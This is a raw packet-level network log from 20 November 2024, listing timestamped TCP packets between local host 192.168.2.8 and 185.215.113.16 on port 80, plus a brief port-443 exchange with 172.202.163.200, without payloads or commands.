Nov 20, 2024 03:20:50.454015970 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.454049110 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.454061031 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.454083920 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.454108000 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.454502106 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.454560041 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.454619884 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.454648972 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.454710007 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.454758883 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.454763889 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.454791069 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.454823971 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.454823971 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.454874039 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.454876900 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.454906940 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.454951048 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.454982996 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.454986095 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.455014944 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.455027103 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.455048084 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.455079079 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.455085039 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.455117941 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.455147982 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.455176115 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.488765955 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.488807917 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.488821983 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.488832951 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.488836050 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.488852978 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.488868952 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.488869905 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.488884926 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.488898993 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.488929987 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.488945007 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.488986015 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.489001989 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.489012957 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.489012957 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.489037991 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.489053011 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.489068985 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.489084005 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.489099026 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.489100933 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.489100933 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.489164114 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.489192963 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.489207029 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.489223957 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.489264011 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.489264011 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.489270926 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.489285946 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.489300966 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.489315033 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.489331007 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.489356995 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.489407063 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.489424944 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.489439964 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.489455938 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.489470959 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.489487886 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.489491940 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.489502907 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.489517927 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.489526033 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.489526033 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.489619017 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.489747047 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.489763021 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.489775896 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.489799023 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.489815950 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.489821911 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.489861012 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.489861965 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.489876032 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.489892006 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.489934921 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.489934921 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.489978075 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.489993095 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.490011930 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.490026951 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.490072966 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.490072966 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.490102053 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.490117073 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.490134001 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.490147114 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.490176916 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.490194082 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.490231991 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.490247011 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.490262985 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.490278006 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.490293980 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.490310907 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.490313053 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.490330935 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.490360022 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.490375042 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.490391016 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.490425110 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.490425110 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.490468025 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.490484953 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.490500927 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.490516901 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.490528107 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.490531921 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.490547895 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.490585089 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.490617037 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.490639925 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.490655899 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.490672112 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.490689039 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.490704060 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.490711927 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.490711927 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.490720987 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.490739107 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.490776062 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.490776062 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.490907907 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.490923882 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.490941048 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.490957022 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.490972042 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.490989923 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.490998030 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.491003990 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.491035938 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.491035938 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.491050959 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.491065979 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.491081953 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.491096973 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.491112947 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.491117954 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.491117954 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.491128922 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.491142988 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.491148949 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.491187096 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.523073912 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.523123980 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.523158073 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.523190975 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.523225069 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.523241043 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.523241043 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.523257971 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.523291111 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.523339987 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.544265032 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.544297934 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.544342041 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.544349909 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.544385910 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.544419050 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.544426918 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.544454098 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.544473886 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.544487953 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.544523001 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.544620037 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.545166016 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.545177937 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.545250893 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.545258999 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.545284033 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.545317888 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.545341015 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.545367002 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.545394897 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.545401096 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.545433044 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.545464993 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.545495987 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.545515060 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.545536995 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.545552969 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.545563936 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.545564890 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.545599937 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.545631886 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.545646906 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.545681953 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.545713902 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.545727015 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.545764923 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.545798063 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.545830965 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.545859098 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.545862913 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.545881033 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.545896053 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.545928001 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.545948029 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.545977116 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.546004057 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.546046972 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.573858976 CET	443	49716	172.202.163.200	192.168.2.8
Nov 20, 2024 03:20:50.573936939 CET	49716	443	192.168.2.8	172.202.163.200
Nov 20, 2024 03:20:50.576174974 CET	49716	443	192.168.2.8	172.202.163.200
Nov 20, 2024 03:20:50.576193094 CET	443	49716	172.202.163.200	192.168.2.8
Nov 20, 2024 03:20:50.576440096 CET	443	49716	172.202.163.200	192.168.2.8
Nov 20, 2024 03:20:50.579535961 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.579551935 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.579565048 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.579582930 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.579596043 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.579607964 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.579619884 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.579631090 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.579632998 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.579632998 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.579643965 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.579663992 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.579668045 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.579668045 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.579675913 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.579715014 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.579715014 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.579720020 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.579730988 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.579742908 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.579754114 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.579787970 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.579787970 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.579886913 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.579898119 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.579910994 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.579922915 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.579936028 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.579962969 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.579962969 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.579994917 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.580008984 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.580056906 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.580288887 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.580298901 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.580311060 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.580328941 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.580341101 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.580351114 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.580351114 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.580353022 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.580411911 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.580415010 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.580487967 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.580499887 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.580528975 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.580540895 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.580548048 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.580548048 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.580554008 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.580571890 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.580583096 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.580595016 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.580595016 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.580638885 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.580640078 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.580717087 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.580729961 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.580740929 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.580771923 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.580792904 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.580811024 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.580823898 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.580835104 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.580846071 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.580876112 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.580876112 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.580876112 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.580889940 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.580933094 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.580943108 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.580986023 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.580987930 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.580998898 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.581011057 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.581022978 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.581049919 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.581049919 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.581096888 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.581118107 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.581130028 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.581161976 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.581183910 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.581195116 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.581224918 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.581286907 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.581311941 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.581322908 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.581335068 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.581346035 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.581358910 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.581371069 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.581398964 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.581398964 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.581434965 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.581487894 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.581505060 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.581517935 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.581528902 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.581541061 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.581545115 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.581552029 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.581564903 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.581593990 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.581593990 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.581636906 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.581648111 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.581675053 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.581687927 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.581698895 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.581708908 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.581708908 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.582029104 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.613712072 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.613789082 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.613822937 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.613852024 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.613863945 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.613899946 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.613934040 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.613946915 CET	49715	80	192.168.2.8	185.215.113.16
Nov 20, 2024 03:20:50.613966942 CET	80	49715	185.215.113.16	192.168.2.8
Nov 20, 2024 03:20:50.614001989 CET	80	49715	185.215.113.16	192.168.2.8
